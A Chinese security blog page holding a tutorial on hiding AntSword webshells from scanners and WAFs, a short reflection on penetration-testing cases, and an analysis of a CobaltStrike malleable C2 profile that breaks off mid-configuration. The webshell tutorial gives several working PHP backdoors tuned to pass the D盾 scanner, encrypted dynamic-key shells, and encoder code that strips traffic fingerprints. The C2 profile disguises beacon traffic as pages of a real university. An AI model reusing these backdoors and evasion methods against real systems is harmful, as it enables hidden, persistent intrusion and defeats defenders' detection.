0%

1
当我们直接使用蚁剑这种比较出名的shell管理工具,在一些防护比较严的情况下,可能过一会会就被发现甚至关站,因此去除蚁剑的特征或者对shell免杀都是特别重要的,我之前并未接触过这方面的知识,写这篇文章的目的就是记录自己学习的一个过程,所以开始吧。

我认为特征处理有几个部分吧,一个是静态代码特征,比如我们直接使用蚁剑的马,这种马如果我们没有进行过任何处理直接上传就非常有可能在上传的时候被干掉,也就是说如果在上传的时候就被干掉了,或者上传之后被干掉了,问题都出在传的马被杀了。还有一种情况就是我们的马传上去了,而且也能访问到,然后使用蚁剑连接的时候发现连接被阻断同时马被杀了,这个就是流量方面的特征的问题了。

自带shell分析

assert

这里首先以php为例,因为其语法变化最为灵活,也是相对来说比较容易做处理的,首先我们看下自带的马是什么样子的。

1
2
3
4
<?php 
$ant=base64_decode("YXNzZXJ0");
$ant($_POST['ant']);
?>

这个代码非常容易理解,就是将assert关键字进行base64编码,但是我使用assert这个shell会有一个问题,就是蚁剑连不上,通过抓包分析, 在蚁剑连接的时候会发送一个数据包。

image-20200727103950002

因为发送这个数据后返回为空,所以蚁剑显示连接不上,但是我这里将这串数据改成phpinfo()也是可以正常执行的,也就是说这里并不是因为assert不能正常执行命令的问题。我们将这串代码解码后看看,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
@ini_set("display_errors", "0");
@set_time_limit(0);

function asenc($out) {
return $out;
};

function asoutput() {
$output = ob_get_contents();
ob_end_clean();
echo "97a7a";
echo @asenc($output);
echo "777a7fdcd7c";
}
ob_start();
try {
$D = dirname($_SERVER["SCRIPT_FILENAME"]);
if ($D == "") $D = dirname($_SERVER["PATH_TRANSLATED"]);
$R = "{$D} ";
if (substr($D, 0, 1) != "/") {
foreach(range("C", "Z") as $L) if (is_dir("{$L}:")) $R. = "{$L}:";
} else {
$R. = "/";
}
$R. = " ";
$u = (function_exists("posix_getegid")) ? @posix_getpwuid(@posix_geteuid()) : "";
$s = ($u) ? $u["name"] : @get_current_user();
$R. = php_uname();
$R. = " {$s}";
echo $R;;
} catch (Exception $e) {
echo "ERROR://".$e - > getMessage();
};
asoutput();
die();

大致的意思会输出一些内容 随机字符串+环境变量+随机字符串,如果用eval代替assert是完全没问题的,我查了下资料,assert是不能执行多个语句的,eval可以,所以这里使用assert会有返回为空的问题。

image-20200727114425121

这个问题可以使用base64编码的问题解决,编码后的数据包如下,可以看到ant这个参数传入的是一句话,因此就可以通过assert执行成功。

image-20200727114808620

这里就是蚁剑使用assert的shell的一个坑,如果使用assert不要使用默认编码。

create_function

这种方式是通过create_function创建匿名函数来执行命令的,shell的内容如下:

1
2
3
4
<?php 
$ant=create_function("", base64_decode('QGV2YWwoJF9QT1NUWyJhbnQiXSk7'));
$ant();
?>

php_custom_script_for_mysql

使用这种方式的shell,需要在连接类型上选择custom,否则会连接不上。

image-20200727131327779

使用这种模式我们需要上传的代码是比较长的,大概13k左右。好处就是在数据包中没有明显的eval这样命令执行的名字出现,因为作者已经在custom的代码中进行了实现。比如我们要测试连接。我拿create_funcion和custom的数据包进行对比,内容如下:

image-20200727132341964

image-20200727132412642

为什么A就可以返回内容,我们大概分析下代码。

首先获取$pwd也就是我们的密码的参数值,调用EC字符串编解码的函数进行处理

image-20200727132702622

根据pwd的值的不同调用不同的函数做对应的操作

image-20200727132825291

我们在看下BaseInfo()函数具体执行的操作,这里的代码和我们使用其他模式发送的数据是一样的,就是获取服务端的基本信息进行输出,

image-20200727132906141

custom模式我们大概了解了,再看下一个shell。

php_eval_rsa_script

使用这个shell的条件是需要开启openssl的,而且我测试php5.4.45没成功,在php5.3.29下是可以的。

在phpinfo中查看是否开启了openssl

image-20200727143928992

开启了openssl后,我们找到蚁剑的编码管理功能,有个rsa配置的功能。

image-20200727144031550

打开后内容如下,主要分为三个部分,RSA的公钥,私钥和php代码。

image-20200727144108286

我们将生成的php代码传到服务端,因为这里获取数据是通过公钥解密的,所以我们需要使用私钥对我们传递的数据进行加密,因此需要创建一个编码器。

image-20200727144333763

创建好编码器后,我们在连接的时候选择我们创建的rsa编码器即可

image-20200727144450235

使用rsa加密后数据包的内容如下:

image-20200727144526707

静态免杀

首先,抛开custom类型的shell,我们发现其他的shell本质上都是构造了一个命令执行的点,所以我们只要构建一个命令执行的点就可以了。

我这里以D盾来测试shell的静态免杀,我将蚁剑自带的assert那个马扔上去d盾会爆已知后门,然后我尝试将里面的关键字进行更改,已经无法造成一个命令执行的功能了,D盾还是会爆已知后门,也就是说D盾这里检测应该是进行了某些关键字的匹配的。

image-20200727150401374

image-20200727150414729

我将第二行的内容删掉,D盾还是会爆二级,也就是说如果我们想要静态免杀完全过D盾,不能直接使用变量名做函数名这种方式。

image-20200727150635040

而且这里和是否接收参数也无关,都会爆的。

image-20200727150819212

我发现D盾在这里进行拦截时是会去匹配括号是否闭合的,那我们就可以测试,当我假如复杂的括号时,能否绕过这个规则。

image-20200727155255367

这样虽然可以达到绕过的目的,但是也不符合php的语法。所以我想将括号里的内容注释掉,不过加了注释后又会被拦截。

image-20200727162618952

我尝试在这些括号的两边加上单双引号,也是无法绕过的,我看网上之前有人加了反引号进行绕过,可能是版本更新了吧,我通过那种方式无法绕过,好吧,我承认这个点我绕不过去了。

1
如果没有思路了,那就是自己的知识受限了,因此我去看了看其他人的文章

有篇文章也是用了变量函数,但是并没有被拦截。

image-20200727170037503

所以D盾的拦截可变变量的规则是在$xx()在行首的时候,然后我试了试使用上面那种方式的shell,这个仍然还可以免杀。

1
2
3
4
5
<?php 
$a="assert";
$b=array(''=>$a($_POST['ant']));
var_dump($b);
?>

image-20200727171248076

但是能不能免杀并不是我们的重点,因为是学习嘛,所以得知道为什么他就能免杀了。一方面是上面我分析的绕过了变量函数的检测,我再测试了下,当我们不使用可变变量的形式而是直接assert调用的话是会被拦的。所以就使用了两个技术

1
2
1.变量函数的检测绕过
2.通过变量函数来将函数关键字和函数调用部分分开了,破坏了类似于assert()这样的拦截规则。

这个是最主要的绕过的点,如果被其他的杀软拦截了,我们还可以进行各种变形。

方法一:关键字拆分

关于assert这个关键字的各种变形

1
2
3
4
5
$a='a'.'s'.'s'.'e'.'r'.'t';   //拼接
$a = substr('1a',1).substr('1as',2).'s'.'e'.'r'.'t'; //拼接+截取
$a = strtr('azxcvt','zxcv','sser');//截取替换
$a = substr_replace("asxxx","sert",2); //替换
$a=chr(97).chr(115).chr(115).chr(101).chr(114).chr(116);

方法二:改变调用函数

上面的shell我们是调用assert达到代码执行的目的,那么有没有那个函数可以替换assert这个函数呢。本来以为会有很多函数,查了下发现没有那种可以直接调用的,不过可以通过一些回调函数来解决。我以call_user_func为例

1
2
3
4
5
6
<?php 
$a="call_user_func";
$c="assert";
$b=array(''=>$a($c,$_POST['ant']));
var_dump($b);
?>

当然也可以拿其他函数进行变形绕过,这里只是给一个思路。

方法三:改变array+var_dump

通过前面的绕过,我们知道这种绕过Dd盾方法的核心在于可变函数的调用方式没有被检测出来,也就是

1
array(''=>$a($c,$_POST['ant']));

那么我们在这部分要绕过的点就是有没有哪些调用方式可以放在可变函数的前面,我尝试写个自定义函数来进行绕过,但是使用这种方法不能绕过。

image-20200727214520026

之前我们调用的是var_dump,也可以调用其他方法

1
2
3
4
5
<?php 
$a="assert";
$b=array(''=>$a($_POST['ant']));
uksort($b);
?>

还可以这样

1
2
3
4
5
<?php
$a="assert";
$arr = new ArrayObject(array(''=>$a($_POST['ant'])));
$arr->uksort();
?>

好了,关于静态免杀先学到这,其他的方式当然还有很多,我只是挑了一个点而已。

动态免杀

上面的操作只是帮我们过了一个shell查杀工具的静态查杀,但是有时候会有这样的情况,就是shell传上去好好的,也没杀,只要一连接就被干掉了,这是为什么呢?这个就涉及到流量方面的免杀了。

特征去除

关于蚁剑这款工具,功能很强大,用起来也挺舒服,但是他出名啊,出名的话就会被很多厂商拿去分析,所以我们在使用蚁剑的时候需要去除我们使用蚁剑和服务端进行交互的流量特征,那么都有什么特征呢?

特征一:user-agent

​ 这个特征是一个非常明显的特征,就和sqlmap的user-agent一样,都是和工具相关的,我们看下:

image-20200728090059610

这个特征非常明显吧,所以我们使用蚁剑这个特征是一定要改的,我们找到/modules/request.js文件,有个USER_AGENT

image-20200728090412292

我们将它改成百度的爬虫

1
Mozilla/5.0 (compatible; Baiduspider-render/2.0;+http://www.baidu.com/search/spider.html)

网上还有人说,需要更改/modules/update.js的请求头,但我看了下这个功能是和github进行交互的,不是和目标交互的流量,所以我认为可以不改吧。

image-20200728090753980

然后重启蚁剑,USER-AGENT内容就已经成功被修改了。

image-20200728091048839

特征二:变量规则

首先来看下蚁剑的一个数据包,注意看下我圈出来的部分,这里面字符的长度是固定的,在变量那部分,长度是固定的14位,返回包部分前面是9位,后面是7位。

image-20200728091745973

我们新建一个编码器对发送的数据进行处理,编码器里面有个默认的实例,是base64的编码器,就是我们上面图中发送数据使用的编码器,我们学习下是怎么处理的。

image-20200728092809554

作者也非常贴心的把注释写的非常清楚,首先是生成一个14位长度的随机值当作参数名,然后把我们需要传递的内容base64编码进行赋值,然后在pwd中传入代码执行的代码。

首先看下变量长度的问题如何解决,可以通过随机生成一个长度字段,再去根据长度去随机生成相应的内容,这样就可以确保每次发起请求的参数长度是变化的。

1
2
let num =  Math.floor(Math.random()*15);
let randomID = `_0x${Math.random().toString(16).substr(num)}`;

这样我们发送的参数名的长度就是变化的了。

image-20200728102211355

但是我们仍然有一个核心的问题没有解决,就是在我们发送的流量里面会有eval,这个如何解决呢?

特征三:eval特征处理

我参考了蚁剑作者关于这部分处理的文章,他是将eval这部分进行了编码,如果直接对eval进行编码,那在服务端是无法识别这个流量的,因此服务端也需要对这个数据进行base64解码,使用这种方法需要稍微改变一下服务端的代码。

首先修改一下编码器的代码,将eval部分的代码base64编码

1
data[pwd] = Buffer.from(`eval(base64_decode($_POST[${randomID}]));`).toString('base64');

然后在修改下我们的shell,让其在接收参数的时候进行base64解码

1
2
3
4
5
6
<?php 
$a="assert";
$c=base64_decode($_POST['ant']);
$b=array(''=>$a($c));
uksort($b);
?>

然后再抓包看下流量,已经没有eval的特征了

image-20200728104852973

其实同理,我们既然可以base64,为什么不能hex呢?

这个我就不讲了,如果理解了base64,那么这个也非常容易

编码器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
/**
* php::base64编码器
* Create at: 2020/07/28 10:16:51
*/

'use strict';

/*
* @param {String} pwd 连接密码
* @param {Array} data 编码器处理前的 payload 数组
* @return {Array} data 编码器处理后的 payload 数组
*/
module.exports = (pwd, data, ext={}) => {
// ########## 请在下方编写你自己的代码 ###################
// 以下代码为 PHP Base64 样例

// 生成一个随机变量名
let num = Math.floor(Math.random()*15);
let randomID = `_0x${Math.random().toString(16).substr(num)}`;
// 原有的 payload 在 data['_']中
// 取出来之后,转为 base64 编码并放入 randomID key 下
data[randomID] = Buffer.from(data['_']).toString('hex');

// shell 在接收到 payload 后,先处理 pwd 参数下的内容,
data[pwd] = Buffer.from(`eval(Hex2String($_POST[${randomID}]));`).toString('hex');

// ########## 请在上方编写你自己的代码 ###################

// 删除 _ 原有的payload
delete data['_'];
// 返回编码器处理后的 payload 数组
return data;
}

shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php 
function Hex2String($hex){
$string='';
for ($i=0; $i < strlen($hex)-1; $i+=2){
$string .= chr(hexdec($hex[$i].$hex[$i+1]));
}
echo $string;
return $string;
}
$a="assert";
$c=Hex2String($_POST['ant']);
$b=array(''=>$a($c));
uksort($b);
?>

最后效果如下;

image-20200728105845603

这种简单的编解码处理可能防护设备也会自己解码,我们可以使用各种加密,或者自己写一个简单的算法对数据进行处理,甚至使用多种编解码+加密方式混合处理。

特征四:返回包格式

我这里查看了下蚁剑处理返回包的模板,发现其实蚁剑对返回包的分隔符的长度是随机生成的,代码在source/core/php/index.js中

image-20200728111846522

所以在返回包处理这部分,我们更应该关注的不是返回包格式的问题,而是返回的明文内容的问题,这些特征都是特别明显的。

image-20200728112128155

image-20200728112144427

这里蚁剑本身就提供了一些解码器使用,比如base64解码,只要我们在使用的时候选择解码器就行了,不用我们在shell里面添加解码功能。

image-20200728134220904

使用效果如下:

image-20200728134243030

我们再看下我们发送的数据是怎么样的,如下图所示,就是我们发送的数据包中让其在输出的时候做了一个base64的编码

image-20200728134401588

同理,蚁剑还提供了rot13的解码器,使用效果如下:

image-20200728134524436

特征五:custom shell的特性

首先我们使用一个custom模式的shell,然后抓包看下返回包,有没有看到一个非常明显的特征。

image-20200728152948041

对的,如你所见,这个特征就是->|和|<-,正常的数据包中基本不会出现这个,因此这个也会被当作是蚁剑的特征。因为这边我们只传入了一个A,因此返回的处理逻辑肯定是写在custom的shell里的,我在shell中找到了对应的代码,但是直接删除后发现蚁剑不能正常工作了,也就是如果要删除这个东西会影响蚁剑对返回包的解析,因此可能需要修改蚁剑处理custom模式返回包部分的代码。在蚁剑的source/core/custom/index.js中,我找到了对应的代码位置。

image-20200728153806619

所以我们只要对这部分进行修改就可以了,我们要确保这个符号不会在返回包的内容中出现,我这里随便取了个@#来作为分割符。

image-20200728154120506

同样,我们要在蚁剑的custom shell中进行相应的修改。

image-20200728154150241

image-20200728154202049

然后就可以正常的使用了

image-20200728154219306

关于custom模式,还有第二个特性,就是关于传入的参数的参数名,z0,z1,z2等等,这个也算一个特征把,所以我们也需要把它处理一下,这个同样需要在shell和蚁剑同时处理,我在php的custom shell中找到了如下代码

image-20200728160653504

所以我们需要把这几个参数改成比较正常的参数名。

image-20200728162411446

然后需要在蚁剑中找到这部分代码进行处理,这个处理就比较麻烦些,因为在好几个文件中都出现了。然后我分别在如下的几个文件中做了处理。

1
2
3
source\core\custom\template\database\default.js
source\core\custom\template\command.js
source\core\custom\template\filemanager.js

处理后效果如下:

image-20200728162553173

流量免杀

最后我们来学学流量混淆这部分,其实这里一方面是运用各种加密解密来对流量进行混淆,另一方面就是使用一些蚁剑本身提供的特性来进行混淆。

方法一:更改post的格式为Multipart

我们如果之前简单了解过一些绕WAF的技巧,我们就知道有些WAF针对于不同的请求类型的拦截规则是不一样的,大多数的WAF会对GET类型的请求拦截非常严格,但是对于POST会弱一些,有时候假如我们改变了请求体的方式为Multipart,有些WAF甚至只会检测文件上传漏洞,所以呢,可以通过这个特性来进行简单的绕过。

image-20200728155455601

设置后的效果如下:

image-20200728155629444

方法二:分块传输

之前别人公开了分块传输绕WAF的方法后,后来做项目中遇到不少WAF都可以直接通过分块传输绕过。

image-20200728155810488

这里我设置好并刷新了下缓存,然后在burp上查看发包的这个过程,比较奇怪的是并没有发现分块传输的迹象。

image-20200728160222681

不过有老哥已经写了burp的分块传输的插件,我们可以将蚁剑的流量代理到burp上,再使用分块插件进行分块,嗯,真香。

蚁剑中设置:

image-20200728163023441

burp插件中设置:

image-20200728163044919

然后就可以分块了。

image-20200728163127083

方法三:各种编码解码器

蚁剑作者给了很多编解码器,地址:https://github.com/AntSwordProject/AwesomeEncoder

zlib

在这个编码器里面也有关于如何去处理shell的提示

image-20200728165427727

我将之前测试免杀D盾的shell稍微改了一下就可以了。

1
2
3
4
5
6
7
8
<?php 
$a="assert";
$c=$_POST['ant'];
$d=base64_decode($c);
$e=gzinflate($d);
$b=array(''=>$a($e));
uksort($b);
?>

最后效果如下:

image-20200728165614745

动态密钥

因为之前有人分析冰蝎的加密,得出可以通过获取密钥的那个数据包来对冰蝎的指纹进行识别,所以yzddmr6前辈为了写了两款关于动态密钥的编码器,一个是基于时间生成密钥的,还有一个是通过随机cookie来生成的,我们都学习一下吧。

基于时间的动态密钥

我们跟着代码稍微学习一下,下面这段代码是比较简单和,和蚁剑自带的编码器代码没有什么区别,主要的操作在xor函数里。

image-20200728174216362

跟进到xor函数里,函数里获取了当前的时间,并调用switch对时间的格式进行处理,switch这个函数是自定义的处理函数。

image-20200728174601774

image-20200728174701365

使用格式化后的time的md5值作为key,对payload进行异或处理。

image-20200728174910075

要使用这个编码器我们需要对我们的shell做一定的处理,需要在shell中加入解密的逻辑代码。

1
2
3
4
5
6
7
8
9
<?php
date_default_timezone_set("PRC");
@$post=base64_decode($_REQUEST['yzddmr6']);
$key=md5(date("Y-m-d H:i",time()));
for($i=0;$i<strlen($post);$i++){
$post[$i] = $post[$i] ^ $key[$i%32];
}
eval($post);
?>

最后数据包是这样的

image-20200728175747960

base64解码后也是看不到明文内容的

image-20200728175815387

基于cookie的动态密钥

这种方法生成26位的随机字符放在了cookie的PHPSESSID中,设置方法基于时间的差不多,最后效果如下:

image-20200728180915972

这里yzddmr6前辈还给出了一个免杀的shell,我们分析下这个shell为什么就能免杀D盾

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class Cookie
{
function __construct()
{
$key=@$_COOKIE['PHPSESSID'];
@$post=base64_decode($_REQUEST['test']);
for($i=0;$i<strlen($post);$i++){
$post[$i] = $post[$i] ^ $key[$i%26];
}
return $post;
}
function __destruct()
{return @eval($this->__construct());}
}
$check=new Cookie();
?>

我基本把代码都删完了,发现当仅仅留下下面这段代码的时候D盾是会爆1级的。

1
{return @eval($this->__construct());}

image-20200728181601624

然后前面加个函数名就不会杀了。

image-20200728181726799

而且当直接调用eval($this)会升到4级,但是使用$this->__construct()这种形式就少了很多。

image-20200728181848146

再测试了下,当参数中有->等级会下降很多,再加上参数+括号就不报了。

image-20200728182041283

image-20200728182102746

所以对于其他敏感函数的拦截我们是不是也可以通过这种调用的方式绕过D盾的拦截。

我使用assert再进行了测试,直接这样绕是会爆一级的,但是在这个代码前加上其他函数就不杀了,所以我们又学到一个小技巧,就是可以把我们代码执行的函数放在其他函数的后面。

image-20200728182629591

总结

通过对蚁剑免杀的学习,终于明白为什么我的shell总会被杀了,所以深入了解一个工具是非常有必要的。

参考文章:

基于随机Cookie的蚁剑动态秘钥编码器

蚁剑实现动态秘钥编码器解码器

蚁剑绕WAF进化图鉴

从静态到动态打造一款免杀的antSword(蚁剑)

1
2
最近刚好要做一次分享,要用到自己以往的项目经历,但是我经过了仔细呢思索,翻了翻之前的项目笔记,
发现竟然没有非常经典的渗透案例,也是非常的失望,工作这么久竟然连一点拿的出手的项目经历都没有。

​ 既然要谈谈经典的渗透案例,那先得说说什么样的渗透是经典的。第一点,不常规的思路。如果是通过非常常规的思路,比如注入,后台,上传,这个过程中如果非常的顺利,那这个项目就不是一个经典的案例,因为这个全是新手都知道的东西。第二点,稍微有些复杂的攻击链。
即使我们的思路非常不常规,如果在突破了某个点以后就结束了,这样好像也不是非常经典,所以如果是一个非常经典的经历,应该是有点历经波折这种感觉或者说绝处逢生也行。
知道了什么是经典案例,再分析一下为什么我做了那么多项目却没有经典的。项目过于简单?应该是不存在的,因为后来我参与的很多项目都不算是简单的。那是项目太难了吗?是的吧,因为感觉很多项目都让人觉得没有希望,可是项目如果简单的话那也不会有经典的案例,所以项目是需要稍微难一点的,那为什么我做了那么多的难项目,却没有经典呢?我分析了一下,应该是项目的难度发生了变化,我的思路仍然没有变化,还是用之前的思路去渗透,这样的话我就不能攻克这样的系统,连打点都打不下,自然没有经典的案例产生了,这里又会有一个比较矛盾的问题,如果我用常规的思路攻克了,那么这个项目就不会是一个经典的项目,没攻克就更不会是了。所以这里的本质问题就出来了,因为总是使用常规的思路,这里的常规思路当然就是我之前渗透的经验。
​ 那又有一个问题,我不用我以往的经验用什么,对啊,如果我不用自己以往的经验,我就要去学新东西,这个在项目中学习的成本也是非常高的,这个显然也是不现实的。所以这里又从一方面涉及到了日常技术积累的重要性。
​ 我们肯定不是在任何项目的一开始就想去使用非常规的思路去做。什么项目适合用非常规的方法去做呢,肯定是我们用了常规思路做了以后没有结果,这个时候如果还固执的使用以往的经验继续做,可能最终比较难攻克,所以到这个时候就是想办法去找其他可能的思路的时候了,比如各种方式的钓鱼,社工,甚至物理渗透或者某种迂回的打法。这当然值得是一个小的点,还有很多其他需要我们去思考创新的一些手法,这个是一点,可以总结为新的思路的创新。
​ 还有一点的话,我师傅会有一些比较经典的项目,结合他这个人的特点,他这个人渗透比较喜欢死磕,这个我也和他聊过,他认为有希望攻克的点就会死磕,所以第二个点的话就是找到自己认为有希望的点,然后想尽办法去死磕。
​ 要使用这种方式,当然也是有前提的,第一点就是能找到一个认为有希望的点,他可能是一个挖掘出来但是非常难以利用的漏洞,或者说是需要某些组合利用才可以的才可以达到我们目的的点。有希望的说法可能不太好去理解,也可以说是有攻击成功的可能性,也就是这个攻击路径虽然复杂,不过我们只要找到了某种方式,最终会找到一个可达的攻击路径。我认为确认一个点是否可以磕,就是先抛开难度这种因素,分析这种攻击路径是否可达,可以实现我们的目的,如果可以,那么这个点就满足了可以磕的一个条件,当然,实际项目中还需要考虑时间成本的问题,从很多可以磕的点挑一个成本最低的一个点磕。
​ 所以分析了这么多,希望自己能尽快有一些经典案例吧!

​ 通过之前我们对于CobaltStrike的Beacon通信流程分析,我们可以看到CobaltStrike在使用心跳包发送active和match,执行命令的返回结果通过请求submit.php来进行传输,而且我们通过这两个包发送和接收的也是一些加密的内容,因此可能有些杀软可能会对这样的请求进行拦截,如果这样,那么无论我们之前对shellcode怎么免杀,只要和服务端产生一些通信,那么都有可能被拦截,因此我们需要修改掉这些流量特征,好在CobaltStrike已经给我们提供了这样的功能,那就是malleable C2。

关于malleable C2基本介绍

什么是malleable C2?

​ Beacon的HTTP的indicators由Malleable-C2-profile文件控制,关于Malleable-C2-profile,它是一个简单的配置文件,用来指定如何转换数据并将其存储在transaction中,转换和存储数据的相同配置文件也从transaction中提取和恢复。 也就是说当Beacon使用HTTP进行通信时,可以通过Malleable-C2来控制如何接收和发送指令。

为什么要使用malleable C2?

​ 因为我们使用默认beacon通信方式可以看到存在一些特征,所以我们需要通过需改Malleable-C2来更改流量的特征,让beacon和CoblatStrike服务端的通信流量尽量来模拟正常的访问通信,要实现这个功能,可以通过编写malleable-C2-profile来实现。

malleable C2-profile的编写分析

如何使用malleable C2-profile文件?

​ 我以网上公开的profile为例进行分析,github地址,下载后normal\msu_edu.profile来进行分析

​ 当我们启动团队服务器时,可以使用如下命令来加载Malleable-C2-profile文件

1
./teamserver [external IP] [password] [/path/to/my.profile]

​ 将normal\msu_edu.profile上传到服务器,使用上面的命令可以加载,但是在加载之前首先要测试这个profile文件的内容格式是否有问题,可以通过c2lint命令来检测

1
./c2lint xxxx.profile

image-20200902170520452

​ 测试过程中+代表测试通过,%代表提醒的内容,!代表不通过的选项

image-20200902170554118

​ 检查通过以后,我们通过下面的命令启动teamserver并且加载 malleable-C2-profile文件

1
sudo ./teamserver  ip password msu_edu.profile

image-20200902170742151

如何编写一个Malleable-C2-profile文件?

​ 打开后文件的开头如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
###Global Options###
set sample_name "msu_edu.profile"; //通过set给变量sample_name进行赋值

set sleeptime "37500"; //设置睡眠时间为37秒左右
set jitter "33"; //设置抖动率,为了防止请求时间过于规律,在这里设置抖动率为33%
set useragent "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/587.38 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"; //设置user-agent

#set host_stage "false"; //如果不需要分阶段传输payload,就可以在这里将host_stage的值设置为false

###DNS options###
set dns_idle "8.8.8.8";
set maxdns "245"; //通过dns传输数据时主机名的最大长度
set dns_sleep "0"; //在每个dns请求之间设置延时,这里没有延时
set dns_stager_prepend ""; //在dns payload之前插入内容
set dns_stager_subhost ""; //设置dns txt record stager的子域名
set dns_max_txt "252"; //设置dns txt返回最大长度
set dns_ttl "1"; //设置DNS响应的ttl的值

###SMB options###
set pipename "ntsvcs"; //在使用Smb beacon来进行通信时,设置命名管道的名字
set pipename_stager "scerpc"; //设置stager使用的管道名

###TCP options###
set tcp_port "8000"; //设置tcp_beacon监听的端口,这里设置的是8000

​ 通过上面的配置,我们实现了以37秒为基准,百分之33左右的抖动率的功能,并且使用smb beacon时,默认的命名管道名字为ntsvcs

image-20200902171550504

​ 当使用tcp beacon时,默认的端口是8000

image-20200902171657470

​ 并且默认的user-agent将使用我们上面配置的.

image-20200902172224238

​ 我们继续分析,看看后面的配置文件,下面的配置文件主要用来配置证书和response header

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
###SSL Options### //这个主要是给https beacon使用的配置
#https-certificate {
#set keystore "your_store_file.store"; //java kerstore文件
#set password "your_store_pass"; //keystore文件的打开密码
#}

#https-certificate { //自签名的https证书配置
# set C "US"; //国家
# set CN "whatever.com"; //域名
# set L "California"; //地区
# set O "whatever LLC."; //组织名
# set OU "local.org"; //组织单位名称
# set ST "CA"; //州或者省
# set validity "365"; //时效
#}

#code-signer { //代码签名
#set keystore "your_keystore.jks"; // java kerstore文件
#set password "your_password"; //keystore文件的打开密码
#set alias "server"; //
#}

###HTTP-Config Block### //配置reponse header块
http-config {
#set headers "Server, Content-Type";
#header "Content-Type" "text/html;charset=UTF-8";
#header "Server" "nginx";

set trust_x_forwarded_for "false"; //如果teamserver使用了http重定向器,就需要选择true
}

​ 下面我们来配置GET请求

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
###HTTP-GET Block###
http-get {

set uri "/siteindex/a/ /siteindex/b/ /siteindex/c/"; //配置请求的Uri路径

#set verb "POST"; //用什么方法传输数据,不仅可以配置为get也可以配置为post

client { //client端的配置

header "Host" "search.missouristate.edu";
header "Accept" "*/*";
header "Accept-Language" "en";
header "Connection" "close";


metadata { //metadata是一段加密的数据,但是没有编码,所以他不能在请求头和URI中发送。需要使用base64、base64url或者netbios编码之后才能在请求头和URI中发送。
#base64
base64url; // 使用URL-safe Base64 进行编码
#mask;
#netbios;
#netbiosu;
#prepend "TEST123"; //开头插入字符串
#append ".php"; //末尾追加字符串

parameter "filter"; //把数据放到名为filter的uri参数中
#header "Cookie"; //把数据放到名为Cookie的http头中
#uri-append; //把数据直接追加到URI上

#print;
}

#parameter "test1" "test2";
}

server { //server端的请求配置
header "Cache-Control" "private";
header "Content-Type" "text/html; charset=utf-8";
header "Vary" "User-Agent";
header "Server" "Microsoft-IIS/8.5";
header "BackendServer" "Handle";
header "X-UA-Compatible" "IE=edge";
header "Connection" "close";
header "Set-Cookie" "WWW-SERVERID=handle; path=/";

output {

netbios;
#netbiosu;
#base64;
#base64url;
#mask;

prepend " <link href=\"/resource/styles\" media=\"all\" rel=\"stylesheet\" /> <script src=\"https://missouristate.info/scripts/2018/common.js?_q=";
prepend " <meta name=\"robots\" content=\"noindex\" /><link rel=\"Stylesheet\" media=\"all\" href=\"https://missouristate.info/styles/msuwds/main-sgf.css\" />\n";
prepend " <meta name=\"vireport\" content=\"width=device-width, initial-scale=1.0\" />\n";
prepend " <title>A - Site Index - Missouri State University</title>\n";
prepend " <meta charset=\"UTF-8\" />\n";
prepend "<head>";
prepend "<html lang=\"en\" itemscope itemtype=\"https://schema.org/SearchResultsPage\">\n";
prepend "<!DOCTYPE html>\n";

append "\"></script>\n";
append "<h2>About search</h2>\n";
append "<ul>\n";
append "<li><a href=\"https://www.missouristate.edu/web/search/aboutwebsearch.htm\">About web search</a></li>]n";
append "<li><a href=\"https://www.missouristate.edu/web/search/aboutpeoplesearch.htm\">About people search</a></li>\n";
append "<li><a href=\"https://www.missouristate.edu/web/search/abouteventsearch.htm\">About event search</a></li>\n";
append "<li><a href=\"https://www.missouristate.edu/web/search/aboutmapsearch.htm\">About map search</a></li>";
append "</ul>\n";
append "</div>";

print; //以print为结束
}
}
}

​ 通过上面的HTTP-GET块的配置,我们配置了心跳包的请求URI为/siteindex/a/,并且设置了通过filter字段来传输信息,并且返回包的内容也和我们在server部分的配置相同。这里有一个点需要注意,就是在使用prepend在返回包中添加内容时,在多个prepend字段配置中,prepend字段添加的越早,显示时越在后面

1
2
3
4
5
6
7
8
       prepend "    <link href=\"/resource/styles\" media=\"all\" rel=\"stylesheet\" />    <script src=\"https://missouristate.info/scripts/2018/common.js?_q=";
prepend " <meta name=\"robots\" content=\"noindex\" /><link rel=\"Stylesheet\" media=\"all\" href=\"https://missouristate.info/styles/msuwds/main-sgf.css\" />\n";
prepend " <meta name=\"vireport\" content=\"width=device-width, initial-scale=1.0\" />\n";
prepend " <title>A - Site Index - Missouri State University</title>\n";
prepend " <meta charset=\"UTF-8\" />\n";
prepend "<head>";
prepend "<html lang=\"en\" itemscope itemtype=\"https://schema.org/SearchResultsPage\">\n";
prepend "<!DOCTYPE html>\n";

image-20200902172951017

​ 我们再看一下当我们向client发送指令时的数据包,我们可以看到server端传递的请求在参数q中

image-20200902180603819

​ 当客户端收到指令时,一般通过post来向服务端返回命令执行的结果,这部分可以通过http-post部分来配置,配置过程如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
###HTTP-Post Block###
http-post {

set uri "/getsearchresults"; //配置post请求的uri
#set verb "GET";
set verb "POST"; //配置请求的形式

client {

# header "Host" "search.missouristate.edu"; //配置请求头的信息
header "Connection" "close";
header "Accept" "*/*";
header "Accept-Language" "en-US";

output {
base64url; // URL-safe Base64 编码形式输出
parameter "site_indexFilter"; //将数据放到site_indexFilter参数中进行传输
}

id { //通过id标识应该输出到哪个beacon
base64url;
parameter "peopleFilter"; //将数据放到peopleFilter参数中进行传输

}

